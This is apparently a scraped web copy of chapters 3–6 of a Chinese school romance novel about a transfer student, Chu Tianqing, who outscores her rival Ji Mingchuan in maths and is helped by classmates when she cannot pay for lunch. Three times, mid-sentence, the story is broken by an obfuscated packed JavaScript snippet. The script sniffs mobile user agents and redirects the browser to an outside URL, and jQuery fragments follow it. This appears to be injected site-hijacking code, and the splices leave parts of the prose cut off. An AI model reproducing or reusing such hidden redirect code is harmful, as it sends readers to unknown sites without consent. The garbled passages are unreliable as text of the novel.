《难道我们不是宿敌吗》 3. 炸鸡汉堡 楚天青双手背到身后:“青春期嘛,荷尔蒙不稳定,容易激动,表现欲也特别强。只要有一个人起哄,后面一群人就会跟上,形成典型的从众行为。” 她说得一本正经,纪明川却觉得好笑,嘴角止不住地上扬了一下。他的脚步反倒往旁边一偏,站得离她更远了,刻意拉开一段距离。 跑操已经开始了,班主任王老师吹响了哨声,郑相宜和宋远舟先后跑动起来,队伍也在向前涌动。 今天是个艳阳天,太阳高照,光线亮得发白,地面被晒出了一层晃眼的光晕。 跑完一圈半后,队伍明显有些松散了,后排传来一声抱怨:“太热了吧,这也太热了,快热死了啊!” 几个同学笑出了声,气氛更加轻松了。 楚天青没说话,额头沁出一点汗珠。她长长地叹了一口气,并不是累得受不了,而是太久没有体验过和同学一起跑步的感觉了。 纪明川随口一问:“还跑得动吗?” “我饿了,”楚天青抬手擦去汗水,“早上没来得及吃早饭,现在好饿。” 纪明川抬手指了指操场外侧:“那边就是食堂,我们学校的食堂还行,老师和校长平时也在那里吃。” 楚天青一下来劲了:“那有什么好吃的呢?” 纪明川一边跑步,一边讲给她听:“看你爱吃什么,各种口味都有,红烧牛肉面、酸菜鱼、炸鸡汉堡、扬州炒饭、麻辣香锅、港式奶茶……还有个咖喱鸡腿饭也不错。” 楚天青跑偏了几步,差点撞到前面的人。她没想到省立一中的食堂竟然有这么多好吃的,这里的学生太幸福了! 她喃喃自语:“我喜欢吃炸鸡,超级喜欢。” “食堂有个炸鸡汉堡套餐,十九块一份,”纪明川告诉她,“包括一个炸鸡汉堡,一对香辣鸡翅,一盘薯条,和一杯汽水。” 楚天青激动地跑出几米远:“天呐,那得有多好吃啊?” 纪明川语气平静:“还好吧,炸鸡的味道,吃起来都差不多。” 不是,楚天青想说,她曾经做过很难吃的炸鸡。 她想起了自己休学的那段日子,吃饭是个大问题,她要买菜、洗菜、做饭,味道好不好不重要,再难吃也得逼自己咽下去。 爸爸妈妈都要上班,家里只有她一个人,房间空荡荡的,连一句寒暄都没有。她很想和人说话,却不知道自己能和谁说话? 好像是为了证明自己并不孤独,楚天青猛然冲进了人群里,周围的同学纷纷让开了,没有人刻意靠近她,也没有人主动与她说话。 跑操结束了,队伍已经散开了。 楚天青抬头向前看,看见郑相宜的身边又有了好几个女生。她们边走边笑,说话的声音夹杂在风里,轻快得像风铃。 楚天青走到她们的身后,前进一步,又后退两步,很想加入她们,更害怕打扰她们。 当然也不能这样一直跟着她们,感觉自己好像一个跟踪狂……这么一想,楚天青的脸颊一下涨红了。 就在这时,郑相宜回过头来:“哎?你离我们好近啊。” 楚天青一惊之下,飞快地往后退,却不知道自己身后也有人,她结结实实撞上了纪明川的胸口。 这一瞬间,她像是撞上一堵温热的墙。他的胸膛紧实有力,隔着衣料也能感觉到肌肉的形状,仿佛带着一种克制的力量。 “嘶。”纪明川轻吸一口凉气,声音不大,却清楚地传入她耳中。 楚天青连忙转身:“对不起!撞疼你了吗?我真的不是故意的!” “没关系,”纪明川低声说,“下次小心点。” 走在他旁边的宋远舟笑了一声:“哟,楚天青怎么不撞别人,就撞你啊?” 纪明川斜眼看他:“你就不能闭嘴?少添点乱,没事找事,她又不是故意的。” 宋远舟耸了耸肩,不依不饶:“你自己走路也不看着点,她后脑勺又没长眼睛,这要说起来,还是你应该向她道个歉。” 纪明川转头去看楚天青,却只看到她的背影已经小跑着远去了,像是生怕被他追上似的。 她又去找郑相宜了吗?她和郑相宜认识不到半天,为什么她们的关系这么好? 纪明川没有说话,只是站在原地。 他记得她上午问的问题,他自己都不太明白,更别说班上的其他同学了。 他突然快步朝教学楼走去。上楼时,他一步迈过三个台阶,旁边一位同学感叹:“哇,明神真帅啊,腿这么长。” 这种浮于表面的夸奖,他平时从不理会。但这一次,不知为何,他脑海里浮现出一个念头,如果有一天他被楚天青远远甩开了,大家提起他时,只剩“腿长”这一个评价,再没人说他聪明、有智慧、有本事,那简直是……简直是世界末日。 不过,纪明川对自己还是很有信心的。他觉得,那种荒谬的“年级第一被转学生超越”的剧情,只会出现在校园小说里,绝不会发生在他身上。 这两年来,他几乎未曾动摇地坐稳了年级第一的位置。那不仅是依靠理科的扎实功底,更是凭借他在语文和英语上的额外用功。 他知道,理科成绩能拼天赋,但文科需要积累与悟性,这些优点,他全都有。 就算楚天青在数学或物理上展现出些许天赋,他也不认为她能在语文和英语上赢得过他。 想到这里,纪明川紧绷的心弦放松了几分。 他走进教室,看了她一眼。 楚天青已经回到自己的位置,安安静静坐着。 纪明川也坐到她的正前方,打开保温杯,喝了一口温水,水里泡着几颗枸杞。他自觉今天状态极佳,连气场都胜过往日几分。 此时此刻,楚天青完全没注意到纪明川。她正低着头,在草稿纸上写写画画。写着写着,突然灵光一动,随手画出了一盘薯条、一对鸡翅,一杯汽水,再加上一个炸鸡汉堡。 她给这一份套餐标上了价格,19元。 “19元,好贵啊。”她小声嘟囔。 她放下签字笔,把头轻轻靠在手臂上,侧头望向窗外。云朵在阳光下飘浮,几只麻雀从天边掠过。 麻雀的世界里,是不是根本不需要钱呢?它们可以随心飞翔,天高地广。而人类的世界,好像每一步都要靠钱铺出来。 楚天青是省立一中的特招生。学校承诺给她两千元奖学金,外加食堂补助五百元,可是,这两千五百元目前还没到账。 接下来的月考,她要是考不好,奖学金可能会泡汤,又要为吃饭发愁了。 或者,更差的结果是,她的焦虑症和躁郁症复发了,爸爸妈妈又要请假陪她挂号、看病、吃药、住院……她不想再经历一次。 眼泪忽然落了下来,真的很奇怪,她明明不想哭,为什么还会流眼泪呢?她不敢眨眼,只是怔怔地望着天空,幻想自己的灵魂也是一只麻雀,正在云层之上飞翔。 眼泪还是流下来了,落到了她的手臂上。她无奈地笑了一下。 走廊外传来一阵脚步声,节奏急促,数学老师来了。 楚天青记得,数学老师姓钱。 紧接着,上课铃响起,班长喊道:“全班起立!钱老师好!” “啪”的一声,钱老师把一沓试卷砸在讲台上。 那是上节课的试卷!钱老师竟然在大课间把卷子改完了! 钱老师站在讲台前,两手按着桌沿,扫视全班同学,然后才说:“同学们好,请坐。” 教室里瞬间安静下来。 钱老师又拍了一下讲台,语气一转:“老规矩,我从高分往低分报。考得差的同学,自己好好想想,为什么你考得差,别人就能考得好?大家坐在同一个教室里,听同一个老师上课,你究竟比别人差在哪里?” “别以为老师天天念叨就是在吓唬你们,”她环视一圈,“你们这一届,是我带过最差的一届!这么简单的卷子,全是基础题!有多少人考到高分了?回去好好翻翻卷子,看看自己到底错在哪儿了!是基础不牢,还是心根本没用在学习上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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考试时间只有四十五分钟,楚天青怎么可能写出两种解法? 纪明川忍不住问:“你以前做过这套题吗?” “没,”楚天青实话实说,“我都是在考试的时候想到的。” “这不可能。”纪明川几乎是下意识地反驳。 “真的!”楚天青有点急了,为什么纪明川总是不肯相信她呢?忽然,她眼睛一亮,“对了,我发现,你解题的速度有点慢,你不会心算吗?” “心算……不如手算来得稳,”纪明川语气镇定,“而且我一向觉得,好记性不如烂笔头。” 楚天青点了点头:“这倒是,不过我原来以为你是那种什么都会的人,没想到你……” 话音一顿,她自己也反应过来有些不妥,赶紧改口:“我瞎说的。” 纪明川立即转过身去,捧着楚天青的试卷看了整整一分钟。 其实他一个字都没看进去,大脑里一片空白,反复回荡着那一句:“你不会心算吗?” 他冷静下来,仔细研究了楚天青的解法,根本没他想象中那么难,他还是可以理解的,轻轻松松,也不需要向楚天青请教。刚才他只是被她的狂妄吓退了,并不是真的输给她了。 钱老师还在黑板上奋笔疾书,纪明川定了定神,从书包里拿出一个全新的笔记本。他在扉页上写了四个大字:“天道酬勤。” 想了想,又觉得不够,他又补了一句:“皇天不负苦心人。” 楚天青150分的数学试卷还在他的桌上,实在刺眼,他忍不住再添一笔:“天行健,君子自强不息。” 扉页下方还有一块空白,他一鼓作气,又写出一句名言:“有志者,事竟成,破釜沉舟,百二秦关终属楚……” 等等! 这个“楚”字,好像是楚天青的“楚”? 那么,这一句话,岂不是可以理解为,不管什么东西,都会属于楚天青? 纪明川从文具盒里翻出修正带,涂改那一行字,强迫自己保持镇定。 修正带“咔哒”一下压在纸上,覆盖了原先的笔迹,仿佛什么也没发生过。他又听见楚天青在他背后小声问:“你的耳朵有点红,你没事吧?” 纪明川在心里冷笑一声,呵,她已经开始观察他的弱点了,真是一个很强大、很狡猾、善于伪装、还有些狂妄的敌人。 4.学校食堂 宋远舟轻笑一声:“说真的,我早就看不惯你总考第一,这下好了,总算有人把你摁下去了。” “你闭嘴吧,”纪明川低声骂了一句,“只是一门数学差了三分而已。” “啧,”宋远舟慢悠悠地摇头,“她考150是因为满分只有150,你考147是因为你的实力只有147。” 纪明川握紧了笔杆,想说点什么,又咽了下去。 宋远舟根本没打算停,继续火上浇油:“不过她是真的拽啊,你听听她刚才那语气,说得你像个没学过数学的小学生。” 纪明川气笑了:“管好你自己的嘴,她怎么样和你没关系,和我也没关系,你一天到晚不管闲事会死么?” 就在这时,讲台上“刷”地飞来一根粉笔,直击宋远舟的额角。 “宋远舟!”钱老师怒气冲冲,“你连全班前十都没排进,还不专心听讲?还在那边嚼舌根子呢?你笑什么?老师在讲题,你在笑什么?笑你自己题都不会做吗?!” 宋远舟连忙低下头,不再说话。 钱老师重重拍了一下讲台,又转身在黑板上写起了一道大题,粉笔划过黑板的声音格外刺耳。 教室里的电风扇“吱呀呀”地旋转着,楚天青仰头望了一眼电风扇,又望向了前排的宋远舟和纪明川。 她听见他们刚才说的话了,她的心情很复杂。她不是故意挑衅纪明川,只是太想在他面前表现一下,太想证明自己的实力。可她没想到,换来的却是一道隔阂。 楚天青还记得,纪明川刚才说了一句:“她怎么样,和你没关系,和我也没关系。” 这算是划清界限了吧? 可是,纪明川是她的同学,又坐在她的前排,大课间之前,他们两个人还聊得很开心,为什么纪明川会忽然和她划清界限? 楚天青想不通,也就不想了。 整整两年了,她没有和同龄人真正交过朋友,心里忽然烦躁起来,她伸手向前:“把我的试卷还给我。” 纪明川手里的笔停下来了。他把试卷递给她,还说:“谢谢。” 楚天青接过试卷:“其实我……我只是想帮你……”她的声音更轻了:“还想和你说话。” 她实在太想和同学讨论物理了。 纪明川也猜到了她想说的都是“时间反演对称”、“量子傅里叶变换”这种东西,他冷淡地拒绝道:“我不需要别人帮我,也不喜欢闲聊,你还是把时间花在你自己身上吧。” 楚天青抖了抖她的卷子:“你刚才还借了我的试卷。” 纪明川沉默了两秒,从抽屉里拿出一个崭新的笔记本,放到她的桌上:“送给你,算是回礼,以后我不会再借你的试卷。” 他说这话时,手已经伸进书包,翻出一本厚厚的草稿本,摊在桌上。动作不大,却有一种叫人闭嘴的威慑感。 楚天青不知道刚才那一句话为什么又惹到了他。她不想再道歉了,当然也不甘心就这样算了。 既然他觉得她不怀好意,那她再也不会小心翼翼地求他搭话。 她心里冒出了一股恶意,忍不住挑衅他:“那你也多努努力吧,争取下一次考试不会比我差太多。” 这句话像针一样扎进纪明川的耳朵里。 纪明川反问:“你是不是怕我赢你?” 楚天青的气势更强:“我只怕你输不起。” 纪明川的声音更低:“你赢了一次就飘了?” 楚天青微微倾身,与他距离更近:“你输了一次就炸了?” 纪明川手指一紧,手劲有点大,把纸都划出了压痕:“今天是你转学过来的第一天,别太嚣张了。你这样,很容易招人记恨。” “我想怎样就怎样,”楚天青淡淡地说,“反正和你没关系。” “你知道就好。”纪明川靠在椅背上:“听课吧,别再吵了。” 楚天青手里的圆珠笔一转,笔帽轻轻戳了戳他的后背:“麻烦你搞清楚,我根本没想和你吵架,是你自己非要抬杠……” “不是我想抬杠,”纪明川坐直了身体,“在这个教室里,没人真的不在意排名。” 他这一句话倒是说得很对,楚天青不知道自己应该如何回答。她低下头,摸到了纪明川送给她的那本笔记本。封面是墨兰色的硬壳,翻开一看,纸质细腻顺滑,从未被人使用过。她随手翻到最后一页,又看见一张标签,定价70元。 70元? 怎么会有这么贵的笔记本? 楚天青怔住了,立即把笔记本往前送:“你们家很有钱吗?这个本子太贵了,还给你。” “还行,普通小康,”纪明川搬动椅子,又往前挪了一寸距离,“送出去的东西,没有收回来的道理。” 楚天青还沉浸在笔记本售价70元的震撼里。她挠了挠自己的头发,有点想把笔记本转手卖了,再去学校食堂买炸鸡汉堡。 当然,她更想把笔记本还给纪明川。 钱老师又拍响了黑板,楚天青才回过神来,直勾勾地盯着黑板。 这一整个上午,楚天青几乎没怎么听课,总是在想考试、奖学金、笔记本和炸鸡汉堡。 时间飞快流逝,上午的课程结束了。下课铃一响,同学们呼啦一下全部冲出教室,楼道里涌满了脚步声。 楚天青拎起书包,一路小跑进了食堂,刚踏进门,就闻到了一股混着油香和菜香的热气,香得她脑袋都晕了。 食堂宽敞明亮,地砖干干净净,桌椅整整齐齐,各个窗口都有至少一位打饭阿姨。楚天青眼睛一扫,锁定了目标,炸鸡汉堡。 她跑到那个窗口前,点了一份套餐,把校园卡往刷卡机上一拍。 屏幕上显示一行红字:“余额不足,当前余额:0元。” 楚天青愣在原地,炸鸡的香味就在鼻尖打转,她的肚子却饿得咕咕叫。 对了,学校发放的500元餐补还没到账,她竟然把这件事忘记了。 她连忙问:“阿姨,请问你们收现金吗?” “不收现金,”食堂阿姨叹了一口气,“不好意思啊,同学,咱们只能刷校园卡。” 在她身后排队的同学不耐烦地催促:“你买不买啊?!快点啊,我们都在等你!” 楚天青回头问:”同学,对不起,能不能麻烦你帮我刷一下卡,我给你钱……“ 那同学没用正眼看她,只盯着窗口里的炸鸡:“我又不认识你,谁知道你的钱是真的假的?” 楚天青的脸颊一下子烧得通红。她慌慌张张地退开队伍,跑向食堂门口的圈存机。那是一台白色方柱型的机器,侧边贴着一张说明书。 楚天青从兜里掏出一张二十元纸币,这是今天早上妈妈塞给她的。 她点击屏幕,选择“校园卡现金充值”,却看见充值金额最低五十元,最高一千元。 真的会有人在饭卡里充一千块吗? 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15673570|172985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >楚天青又感到迷茫了。她站在圈存机之前,身后还有越来越多的人涌进来,挤过她的肩膀,有人不耐烦地推了她一把,她便自觉地让到了旁边。 她站在角落里,想找人借钱吃饭,却连一个名字都叫不出口。她就是这样一个人,好吃懒做、胆小怕事、又穷又爱面子,听起来感觉已经没救了。 好饿啊。 真的好饿。 楚天青做了一个深呼吸,忍受着空落落的眩晕感,忽然听见一个轻柔的声音:“你怎么了?为什么站在这里,不去吃饭呢?” 楚天青转过头,看见了郑相宜。想到郑相宜今天上午对她的照顾,眼泪一下子涌出来,模糊了她的视线。 “我的饭卡里没钱,”她小声说,“也充不了钱……” “啊,卡坏了吗?”郑相宜又问,“你爸妈有没有用手机银行给你的校园卡充值?” 楚天青双手背到身后,又放下来,像个做错事的小孩子:“没、没有。” 郑相宜没有丝毫迟疑,挽起了她的手臂:“你可以用我的卡,你想吃什么?走吧,我刷卡。” 楚天青急忙说:“我……我给你钱,我有现金!早上带了二十块,我想吃那个、那个炸鸡套餐。” 郑相宜身上带着一股淡淡的香味,干净又柔和。楚天青被她挽着手臂,整个人有些恍惚,说话都开始磕磕绊绊了。 郑相宜身边另一个女生笑着说:“哎呀,你不用还钱啦,郑相宜有钱,就让她请你吃一顿吧。” 楚天青抬头看过去,那是个扎着马尾辫的女生,笑起来很有亲和力。她单肩斜挎着书包,背带上挂着一只毛绒玩具,随着她走近,那个玩具一晃一晃的,也像是在打招呼似的。 “我叫顾思安,是郑相宜的室友。”顾思安抬手划了一个方向,“我坐在你斜前面,和你隔了一个大组。” “我记得你,”楚天青点了点头,“你是化学课代表。” 顾思安一手搂住楚天青的肩膀:“这你都记得啊?我觉得你长得好可爱,眼睛好大、好亮,近看你眼睫毛也很长。” 楚天青的手臂被郑相宜挽着,肩膀被顾思安搂着,更是不知道怎么说话才好,只能胡乱回答:“其实凑近了看,每个人的眼睛都挺大的。” 郑相宜笑了笑,忽然说:“我也想吃炸鸡套餐,我们一起去排队吧。” “我想吃红烧牛肉面和凉拌黄瓜,”顾思安看向另一个窗口,挥了挥手,“那边人少,我先去买,待会儿帮你们占座,一起吃。” 楚天青使劲点头:“好,好,好!待会儿见!” 顾思安朝她们笑了一下,脚步轻快地走远了。 郑相宜和楚天青一人拿了一个餐盘,走到炸鸡窗口排队。空气里飘荡着香味,让人忍不住咽下了口水。 郑相宜指着菜单上的小字,问她:“除了炸鸡套餐,你还想吃点别的吗?” 菜单贴在头顶的灯箱上,楚天青仰头看着,越看越觉得每一样都好吃。她小心翼翼地说:“那个香甜玉米杯,好像很划算的样子。” 郑相宜把校园卡夹在指间,卡绳垂落下来,缓缓晃动:“那我们点两份炸鸡套餐,外加一个香甜玉米杯,一份蔬菜卷,再要一盘脆皮鸡块,两个人分刚刚好。” 楚天青睁大双眼:“那样会不会太贵了?” 郑相宜偏头看了她一眼,轻轻笑了笑:“我说了请你吃的呀,你要是不好意思,下次请我喝奶茶就行了。” 5.宿舍午休 楚天青立刻点头:“等我拿到奖学金以后,一定请你吃饭。你喜欢什么口味?” 郑相宜以为她说的是奶茶,想了想,才回答:“芒果好喝,芋泥也不错,抹茶我也常点……你呢?你喜欢什么味道?” 楚天青怔了一下。她从来没喝过奶茶,连菜单都不太清楚。在她犹豫的时候,窗口里的阿姨喊了起来:“同学,往前走啊,站这儿干嘛?吃什么啊?” “来了来了。”郑相宜牵着楚天青往前一步,随口报出了菜名。 阿姨动作利落,把热气腾腾的美食装入餐盘里。 玉米饱满鲜亮,脆皮鸡块酥脆作响,炸鸡汉堡夹着炸鸡、生菜、黄瓜和一层沙拉酱,颜色清爽,看着就让人食欲大涨。 楚天青双眼发亮,不自觉地轻轻跺了一下脚。 队伍继续往前移动。到了刷卡处,郑相宜把校园卡在机器上一贴,“滴”的一声,数字跳了出来,楚天青看见她的账户余额,873元。 楚天青吓了一跳,又想起纪明川随手送她的那本价值七十元的笔记本,内心更加茫然了。 省立一中像是另一个世界,与她距离遥远。 她低下头,暗暗心想,以后她也要努力赚钱,这样才能和郑相宜长长久久地做朋友,也能让纪明川对她刮目相看。 郑相宜端起托盘:“顾思安坐在那边,给我们占好座位了。” 楚天青也小心端起托盘,跟着郑相宜往前走。她看见顾思安朝她挥手,便快步走过去,双手紧紧端着托盘,生怕洒出来一点。 这一刻,她忽然觉得自己像个普通的学生,有朋友、有座位,还有一顿温暖的午餐在等她。 楚天青坐到了顾思安的正对面。顾思安递给她一张湿巾,她学着顾思安的样子,用湿巾把自己的双手擦了一遍,就连指缝都擦得干干净净。 “谢谢。”楚天青小声说。 “哎呀,”顾思安笑了,“你太客气啦。” 楚天青的坐姿略显拘谨:“我觉得你们对我太好了。” 顾思安咬着吸管,笑了笑,没再接话。 郑相宜推动了餐盘:“快吃吧,不然炸鸡一凉就不好吃了。” 楚天青摆好餐盘,坐直身体。她咬了一口炸鸡汉堡,面包松软,带着点奶香,咬下去不会粘牙,口感正好,香脆的炸鸡外皮在嘴里碎开,鸡肉鲜嫩多汁,太好吃了!她舍不得咽得太快,仔仔细细咀嚼着,又喝了一口汽水,高兴的不得了。 郑相宜拿起自己的筷子,先帮楚天青夹了几块脆皮鸡块,又把玉米粒拨了一半过来,最后分来一段蔬菜卷:“你尝尝这些,我觉得比汉堡还香。” 楚天青嘴里还含着炸鸡,含糊地说:“看起来好好吃……” 郑相宜笑着看她,忽然问:“我刚想问你,今天上午的数学考试,你最后一题是怎么算出来的?你居然考了满分,太厉害了。” 楚天青脑海里浮现出纪明川的那句话:“在这个教室里,没人真的不在意排名。” 也不知道为什么,楚天青撒了一个谎:“我以前做过差不多的题目。” “我也是,”郑相宜轻声感叹,“不过我还是写错了。” 顾思安摆了摆手:“全班同学几乎都做错了,纪明川也一样啊。” 郑相宜没什么情绪地笑了一下:“那种难题,纪明川也不一定做得好吧……他总是靠语文和英语把分数拉上去。我自己不太爱花时间背那些,我偏科挺严重的。” 郑相宜的语气并不尖锐,却带着一点属于理科生的自信,像是不太在意文科,也不太在意纪明川。 楚天青察觉到了郑相宜的傲气,不敢多说,只轻轻“嗯”了一声,便开始讲述自己的解题思路。 郑相宜听着,眉头慢慢舒展开来:“原来是这样啊。” 楚天青从书包里拿出一个小手账本:“这是我自己整理的数学题型总结,你可以翻翻看,可能会有点用。” 郑相宜接过来,随手翻了几页。纸页上字迹清楚,逻辑分明,每一道题都标注了难点和解法,旁边还有几句她从未想过的变式提醒。她眼里闪过一丝惊讶:“这个……我能借几天吗?” 楚天青毫不犹豫:“你慢慢看,什么时候看完,什么时候还。” 郑相宜没想到楚天青这么大方,竟然对自己毫无保留。她的眼神里也多了些无法言说的复杂:“那我会认真看的。” 楚天青松了口气,有些累了,就打了一个哈欠。 郑相宜这才开始吃她的炸鸡套餐,吃到一半,又问:“你是走读生吗?你中午不回家,在哪里休息呢?” 楚天青感到紧张,手肘一抬,不小心碰翻了汽水杯,汽水泼在她的短袖上,冰凉又黏腻。她急忙用湿巾擦拭,嘴里喃喃地说:“在教室休息,我可以趴在课桌上睡觉。” 郑相宜也抽了一张湿巾递给她,还帮忙擦了擦她的袖子,擦着擦着,郑相宜忽然抬头,看向了顾思安。 顾思安犹豫了片刻,才说:“要不……你和我们一起回寝室吧?我们寝室有张空床,中午没人用,你可以睡那儿。” 郑相宜看着楚天青衣服上的痕迹:“这件衣服湿透了,汽水这么黏,你中午又不能回家换……你跟我们回去吧,我借你一件我的短袖,刚洗好的,还没穿过。” 楚天青本该拒绝的,她一向不愿麻烦别人,可她的意志并不坚定。尤其是在吃过午饭之后,整个人都轻飘飘的。 食堂里的时钟快要指向一点了,她们三个人都吃完了,郑相宜牵起楚天青的手,楚天青竟然就这样被牵走了,跟着郑相宜走出了食堂。 楚天青走在林荫道上,手臂被郑相宜轻轻拉着,脚步也不由自主跟了上去。 几分钟后,楚天青走进一栋宿舍楼,走廊里传来女生说笑的声音,还有沐浴露的香气。 楼梯并不高,她们只上了一层。楚天青转了个弯,看见一道铁门上贴着“204”号码牌,郑相宜已经把门推开了。 室内整洁明亮,四张床分别位于左右两侧,都是上床下桌。阳光透过蓝色窗帘,落在桌角的玻璃水杯上,映出一点水光。 其中一张床上,铺着新床垫,还没铺上床单和被子,像是刚空出来不久。 寝室里除了郑相宜和顾思安,还有一个穿着宽松T恤的女生正坐在桌前吃泡面,一边吸面,一边翻着一本小说。她察觉到有人进来,抬眼看了楚天青一眼,点了点头,算是打过了招呼,又低头继续看书了。 “她叫陈曼,”顾思安轻声说,“不怎么爱说话,但人挺好的。” 郑相宜把书包往椅背上一挂,从柜子里抽出一件叠得工工整整的短袖,递给楚天青:“来,换上这个吧。新洗过的,放心穿。” 楚天青低头一看,那短袖是纯棉的,摸上去柔软清爽,还带着一丝香气,是郑相宜身上的味道。她不知该不该接,手指轻轻抠着衣角:“这……太好了,我穿会不会不太……合适?有点浪费了。” “哎,我服了你了,浪费什么啊?衣服不就是给人穿的?你就穿吧。”顾思安在旁边笑着说,“我那边还有备用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15681986|172985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的被子和枕头,午休的时候你就睡在这儿。我们寝室中午开空调,可舒服了。” “空调?”楚天青重复了一遍。 空调,好奢侈啊。 下一秒,郑相宜又拿出一张床单,爬到那张空床上,熟练地铺起来。她一边铺,一边说:“这张床本来是空着的,学校打算以后安排同学住进来,现在正好没人睡,你先睡吧。” 楚天青心跳得很快,喉咙发紧,甚至有点眩晕。她从小到大几乎没睡过空调房,更没有朋友为她铺过床。她好像一个误入他人梦境的小偷,偷偷享受不属于她的清凉和整洁,心里却是一阵阵发虚。 楚天青想说“谢谢”,又觉得光是一个“谢谢”太轻太浅,不够表达自己胸口翻涌的情绪。她用指尖紧紧捏住那件短袖:“我会小心的,睡觉也不乱动,不会把衣服弄皱的……早上出门前我洗过澡了,头发也洗过。” 顾思安拍了一下她的肩膀:“你就安心睡一觉,别想太多。” 楚天青确实太累了。 昨晚她熬到凌晨两点才睡着,梦里反复出现一个空荡的教室,她始终找不到自己的座位。今天早上五点,她就醒了,睁开眼那一瞬,心跳已经很快了,时钟在她身体里提前敲响,提醒她要面对一个未知世界。 现在是中午了,终于能休息了。楚天青躺上床,钻进被子里。 床铺软硬适中,被罩摸起来是干净的棉布。空调送来一阵凉风,吹得人昏昏欲睡。寝室里静悄悄的,只有几道轻微的呼吸声,还有翻身时床板的轻响。这些细微的响动,似乎安抚了她紧绷一上午的神经。 她把脸埋进枕头里,不知不觉就闭上眼睛,睡着了。 下午两点,寝室铃声响了。 楚天青迷迷糊糊地睁开眼,掀开被子,下床,去洗手间用凉水洗了把脸。她抬头看着镜子里的自己,头发蓬松,脸颊有些红润,今天中午果然睡了一场好觉啊。 楚天青背上书包,跟着郑相宜,走在去往教学楼的路上。 “住校真好,”楚天青忍不住说了一句,“我也想住校了。” 郑相宜说:“确实挺方便的,你可以和学校申请的,名额还没满呢。” “住宿费多少钱呀?”楚天青问。 她们走在长廊里,阳光斜斜洒进来,郑相宜踩住地砖上的影子,回头看了她一眼:“一学期一千,不算贵。” 楚天青心想,一千块啊,那还是再等等吧,等到奖学金到账,或者问问学校能不能减免住宿费?她不想再开口问父母要钱,他们已经够累了。 真希望月考快点开始,只有考出一个好成绩、好排名,她才能拿到全额奖学金。 乱糟糟的思绪还没理清,楚天青已经踏进高三教学楼。她和郑相宜一起去开水房接过热水,又沿着长廊走向十七班的教室。 刚一进门,教室里就响起了一声惊呼。 楚天青还没意识到发生了什么,只觉得周围的目光一下子落到自己身上。她走回座位,放下书包,抽出笔记本,准备复习,耳边又响起一阵此起彼伏的“哇”。 坐在后排的几个同学正在窃窃私语。他们认出来楚天青身上穿的是郑相宜的衬衫,又有人眼尖,看出楚天青手里的笔记本是纪明川常用的那一款。 这些同学又多瞄了几眼楚天青,众人一致认为,这个转学生楚天青,真是太不一般,万万不能小看。她转来的第一天,就用上了纪明川的笔记本,穿上了郑相宜的衬衫,真不敢想象,再过几天,她和这些优等生的关系会发展到什么地步? 6.星空与飞鸟 纪明川走进教室时,注意到后排几个同学正聚在一起,目光全都落在楚天青身上。 纪明川从他们身旁路过,脚步一顿,淡淡问:“你们在看什么?” 几个同学被问得一愣,赶紧收回视线,嘴上却装作轻松:“没看什么啊,我们就是聊聊天,怎么了,明神?你又不是班主任,查岗呢?” 纪明川像是笑了一下:“你们聊得挺专注的,眼睛都不眨一下。下次聊八卦能不能别盯着一个人看?聊出了偷窥的效果。” 同学们哑口无言。 纪明川转过身,走回自己的座位,坐下后,想到自己今天上午在数学考试中发挥失常,还是有些心烦意乱。他从抽屉里拿出一本崭新的杂志,打算随便看看,当作消遣。 楚天青正好看见了那本杂志的封面,那是《中国国家地理》2025年6月刊。 楚天青一下就心动了,《中国国家地理》是她最喜欢的刊物之一。可惜她买不起新的,只能在图书馆查阅往年的旧刊,今年新出的这几期,她一本都没读过。 明明早上才和纪明川吵了一架,可她还是没忍住,小声问了句:“你也喜欢看《中国国家地理》吗?” 纪明川翻着杂志,头也不抬:“不喜欢。” 他自己也不知道,为什么非要跟她唱反调? “骗人,”楚天青毫不留情地戳穿他,“你明明很喜欢,第一眼就喜欢上了,你就是不愿意承认。” 纪明川还是没转身,翻杂志的动作却顿了一下。 楚天青看不见他的神色,也猜不到他的心思。过了几秒,他才问:“第一眼?你怎么知道我看的是它,而不是别的?” 楚天青没听懂他的意思,只盯着那本杂志的封面,那是一张极简风格的摄影图,银白雪山静静伫立在夜色之中,远处的月球大而清冷,浮在深蓝天幕上,仿佛嵌入了雪山之巅。 真的好想翻开看看啊。 她立即换了一种说法:“既然你这么不喜欢,那就别浪费时间了,借我看看吧。我和你换,我有物理笔记本,可以借你,你不会吃亏的。” 纪明川终于转过身来,和她对视。 楚天青双眼明亮,迎着他的视线。他把杂志翻到第一页,随口说:“给你吧,反正我也快看完了。” 说完,他一抬手,把杂志推向她的桌角,动作看似随意,却避开了她桌上那一小滩水渍。 楚天青迅速接过来,小心地把杂志摊在课桌上,翻开一页,又抬头望他一眼:“谢谢你啊,你人真好。” 这又是什么甜言蜜语式的偷袭? 纪明川虽然把杂志借出去了,但他的头脑还是很清醒。他不会因为楚天青夸了他一句,就忘记了她的嘲讽,更不会忘记自己的数学成绩比她低了整整三分的耻辱感,还有她每道大题都写了两种解法的荒谬感。 楚天青翻到了中间一页,看到《草原上的沙狐一家》,她很开心:“沙狐长得好可爱啊,像小狗,又像小猫。” “和你也有点像。”纪明川脱口而出。 “为什么?”楚天青严肃地问。 纪明川在心里想,你们都很狡猾,嘴上却说:“我猜你也喜欢自然风景。” 